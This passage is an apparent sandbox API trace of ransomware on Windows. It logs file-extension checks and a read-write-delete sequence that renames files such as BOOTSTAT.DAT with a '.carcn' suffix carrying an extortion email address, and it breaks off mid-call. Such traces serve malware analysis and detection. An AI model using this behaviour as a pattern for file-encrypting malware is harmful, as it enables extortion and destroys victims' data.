[0162.816] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0162.817] lstrlenW (lpString=".ppt") returned 4 [0162.817] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.817] lstrlenW (lpString=".zip") returned 4 [0162.817] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0162.817] lstrlenW (lpString=".rar") returned 4 [0162.817] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString=".bz2") returned 4 [0162.817] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString=".7z") returned 3 [0162.817] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0162.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.817] lstrlenW (lpString=".dbf") returned 4 [0162.817] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.817] lstrlenW (lpString=".1cd") returned 4 [0162.817] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.817] lstrlenW (lpString=".jpg") returned 4 [0162.817] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.817] lstrlenW (lpString=".doc") returned 4 [0162.817] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0162.817] lstrlenW (lpString=".docx") returned 5 [0162.817] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0162.817] lstrlenW (lpString=".pdf") returned 4 [0162.817] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString=".xls") returned 4 [0162.818] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString=".xlsx") returned 5 [0162.818] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0162.818] lstrlenW (lpString=".ppt") returned 4 [0162.818] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.818] lstrlenW (lpString=".zip") returned 4 [0162.818] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0162.818] lstrlenW (lpString=".rar") returned 4 [0162.818] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString=".bz2") returned 4 [0162.818] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString=".7z") returned 3 [0162.818] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0162.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.818] lstrlenW (lpString=".dbf") returned 4 [0162.818] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.818] lstrlenW (lpString=".1cd") returned 4 [0162.818] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0162.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.818] lstrlenW (lpString=".jpg") returned 4 [0162.818] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0162.818] lstrcmpiW (lpString1=".LOG", lpString2=".carcn") returned 1 [0162.818] lstrlenW (lpString="BCD.LOG") returned 7 [0162.818] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.818] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.818] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.818] lstrlenW (lpString=".doc") returned 4 [0162.819] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0162.819] lstrlenW (lpString=".docx") returned 5 [0162.819] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0162.819] lstrlenW (lpString=".pdf") returned 4 [0162.819] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0162.819] lstrlenW (lpString=".xls") returned 4 [0162.819] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0162.819] lstrlenW (lpString=".xlsx") returned 5 [0162.819] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0162.819] lstrlenW (lpString=".ppt") returned 4 [0162.819] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0162.819] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.819] lstrlenW (lpString=".zip") returned 4 [0162.819] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0162.819] lstrlenW (lpString=".rar") returned 4 [0162.819] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0162.819] lstrlenW (lpString=".bz2") returned 4 [0162.819] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0162.819] lstrlenW (lpString=".7z") returned 3 [0162.819] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0162.819] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.819] lstrlenW (lpString=".dbf") returned 4 [0162.819] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0162.819] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.819] lstrlenW (lpString=".1cd") returned 4 [0162.819] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0162.819] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.819] lstrlenW (lpString=".jpg") returned 4 [0162.819] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0162.819] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.819] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.819] lstrlenW (lpString=".doc") returned 4 [0162.819] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0162.819] lstrlenW (lpString=".docx") returned 5 [0162.820] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0162.820] lstrlenW (lpString=".pdf") returned 4 [0162.820] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0162.820] lstrlenW (lpString=".xls") returned 4 [0162.820] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0162.820] lstrlenW (lpString=".xlsx") returned 5 [0162.820] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0162.820] lstrlenW (lpString=".ppt") returned 4 [0162.820] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0162.820] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.820] lstrlenW (lpString=".zip") returned 4 [0162.820] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0162.820] lstrlenW (lpString=".rar") returned 4 [0162.820] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0162.820] lstrlenW (lpString=".bz2") returned 4 [0162.820] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0162.820] lstrlenW (lpString=".7z") returned 3 [0162.820] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0162.820] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.820] lstrlenW (lpString=".dbf") returned 4 [0162.820] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0162.820] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.820] lstrlenW (lpString=".1cd") returned 4 [0162.820] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0162.820] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0162.820] lstrlenW (lpString=".jpg") returned 4 [0162.820] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0162.820] lstrcmpiW (lpString1=".DAT", lpString2=".carcn") returned 1 [0162.820] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0162.820] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0163.117] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=65536) returned 1 [0163.117] CloseHandle (hObject=0x2d8) returned 1 [0163.117] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0163.117] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.379] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.379] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.379] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.379] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0163.570] GetLastError () returned 0x0 [0163.570] ReadFile (in: hFile=0x388, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x10000, lpOverlapped=0x0) returned 1 [0163.625] WriteFile (in: hFile=0x310, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x10010, lpOverlapped=0x0) returned 1 [0163.627] ReadFile (in: hFile=0x388, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.627] WriteFile (in: hFile=0x310, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.627] SetEndOfFile (hFile=0x310) returned 1 [0163.627] CloseHandle (hObject=0x310) returned 1 [0163.631] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.631] SetEndOfFile (hFile=0x388) returned 1 [0163.632] CloseHandle (hObject=0x388) returned 1 [0163.633] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x26) returned 1 [0163.633] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0163.633] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.633] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.633] lstrlenW (lpString=".doc") returned 4 [0163.633] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0163.633] lstrlenW (lpString=".docx") returned 5 [0163.634] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0163.634] lstrlenW (lpString=".pdf") returned 4 [0163.634] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString=".xls") returned 4 [0163.634] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString=".xlsx") returned 5 [0163.634] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0163.634] lstrlenW (lpString=".ppt") returned 4 [0163.634] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.634] lstrlenW (lpString=".zip") returned 4 [0163.634] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString=".rar") returned 4 [0163.634] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString=".bz2") returned 4 [0163.634] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0163.634] lstrlenW (lpString=".7z") returned 3 [0163.634] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0163.634] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.634] lstrlenW (lpString=".dbf") returned 4 [0163.634] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.634] lstrlenW (lpString=".1cd") returned 4 [0163.634] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0163.634] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.634] lstrlenW (lpString=".jpg") returned 4 [0163.634] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.634] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.634] lstrlenW (lpString=".doc") returned 4 [0163.634] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0163.634] lstrlenW (lpString=".docx") returned 5 [0163.634] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0163.634] lstrlenW (lpString=".pdf") returned 4 [0163.635] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0163.635] lstrlenW (lpString=".xls") returned 4 [0163.635] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0163.635] lstrlenW (lpString=".xlsx") returned 5 [0163.635] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0163.635] lstrlenW (lpString=".ppt") returned 4 [0163.635] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0163.635] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.635] lstrlenW (lpString=".zip") returned 4 [0163.635] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0163.635] lstrlenW (lpString=".rar") returned 4 [0163.635] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0163.635] lstrlenW (lpString=".bz2") returned 4 [0163.635] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0163.635] lstrlenW (lpString=".7z") returned 3 [0163.635] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0163.635] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.635] lstrlenW (lpString=".dbf") returned 4 [0163.635] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0163.635] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.635] lstrlenW (lpString=".1cd") returned 4 [0163.635] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0163.635] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0163.635] lstrlenW (lpString=".jpg") returned 4 [0163.635] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0163.635] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.635] lstrlenW (lpString="delete.avi") returned 10 [0163.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0164.010] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=208408) returned 1 [0164.010] CloseHandle (hObject=0x310) returned 1 [0164.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0164.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.011] lstrlenW (lpString=".doc") returned 4 [0164.011] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString=".docx") returned 5 [0164.011] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0164.011] lstrlenW (lpString=".pdf") returned 4 [0164.011] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString=".xls") returned 4 [0164.011] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString=".xlsx") returned 5 [0164.011] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0164.011] lstrlenW (lpString=".ppt") returned 4 [0164.011] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.011] lstrlenW (lpString=".zip") returned 4 [0164.011] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString=".rar") returned 4 [0164.011] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString=".bz2") returned 4 [0164.011] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0164.011] lstrlenW (lpString=".7z") returned 3 [0164.011] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0164.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.011] lstrlenW (lpString=".dbf") returned 4 [0164.011] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString=".1cd") returned 4 [0164.012] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString=".jpg") returned 4 [0164.012] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString=".doc") returned 4 [0164.012] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString=".docx") returned 5 [0164.012] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0164.012] lstrlenW (lpString=".pdf") returned 4 [0164.012] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString=".xls") returned 4 [0164.012] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString=".xlsx") returned 5 [0164.012] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0164.012] lstrlenW (lpString=".ppt") returned 4 [0164.012] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString=".zip") returned 4 [0164.012] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString=".rar") returned 4 [0164.012] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString=".bz2") returned 4 [0164.012] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString=".7z") returned 3 [0164.012] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString=".dbf") returned 4 [0164.012] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0164.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.012] lstrlenW (lpString=".1cd") returned 4 [0164.013] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0164.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0164.013] lstrlenW (lpString=".jpg") returned 4 [0164.013] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0164.013] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.013] lstrlenW (lpString="base_ca.xml") returned 11 [0164.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.905] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3529) returned 1 [0164.905] CloseHandle (hObject=0x314) returned 1 [0164.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0164.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString=".doc") returned 4 [0164.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString=".docx") returned 5 [0164.906] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0164.906] lstrlenW (lpString=".pdf") returned 4 [0164.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString=".xls") returned 4 [0164.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString=".xlsx") returned 5 [0164.906] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0164.906] lstrlenW (lpString=".ppt") returned 4 [0164.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString=".zip") returned 4 [0164.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.906] lstrlenW (lpString=".rar") returned 4 [0164.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString=".bz2") returned 4 [0164.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString=".7z") returned 3 [0164.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString=".dbf") returned 4 [0164.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString=".1cd") returned 4 [0164.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString=".jpg") returned 4 [0164.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.906] lstrlenW (lpString=".doc") returned 4 [0164.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString=".docx") returned 5 [0164.907] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0164.907] lstrlenW (lpString=".pdf") returned 4 [0164.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString=".xls") returned 4 [0164.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString=".xlsx") returned 5 [0164.907] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0164.907] lstrlenW (lpString=".ppt") returned 4 [0164.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.907] lstrlenW (lpString=".zip") returned 4 [0164.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.907] lstrlenW (lpString=".rar") returned 4 [0164.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString=".bz2") returned 4 [0164.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString=".7z") returned 3 [0164.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.907] lstrlenW (lpString=".dbf") returned 4 [0164.907] lstrcmpiW (lpString1=".dbf", 